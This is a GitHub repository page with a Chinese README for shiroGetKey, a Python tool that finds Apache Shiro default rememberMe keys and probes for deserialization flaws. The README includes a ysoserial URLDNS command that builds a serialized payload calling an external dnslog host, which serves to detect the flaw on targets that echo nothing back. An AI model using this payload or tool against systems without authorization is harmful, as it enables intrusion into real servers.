https://github.com/safe6sec/shirogetkey
检测默认key，探测漏洞
https://github.com/safe6sec/shirogetkey
Last synced: about 1 year ago
JSON representation
检测默认key，探测漏洞
- Host: GitHub
- URL: https://github.com/safe6sec/shirogetkey
- Owner: safe6Sec
- Created: 2021-07-15T15:14:29.000Z (about 5 years ago)
- Default Branch: master
- Last Pushed: 2021-07-15T15:21:39.000Z (about 5 years ago)
- Last Synced: 2025-05-19T06:07:45.232Z (about 1 year ago)
- Language: Python
- Size: 5.86 KB
- Stars: 1
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# shiroGetKey
检测默认key，探测漏洞
# 用途
1. 利用空SimplePrincipalCollection检测正常回显rememberMe=deleteMe
2. 支持带post数据探测
3. 利用dnslog进行探测特殊情况(反代)无回显漏洞是否存在
# payload生成
dnslog探测用ysoserial生成
如下：
``` cmd
java -jar ysoserial-master-d367e379d9-1.jar URLDNS http://wxovk8.dnslog.cn >1.txt &certutil -encode 1.txt 2.txt&type 2.txt
```
# 原项目
由于不满足需求，直接魔改
https://github.com/Echox1/ShiroExploit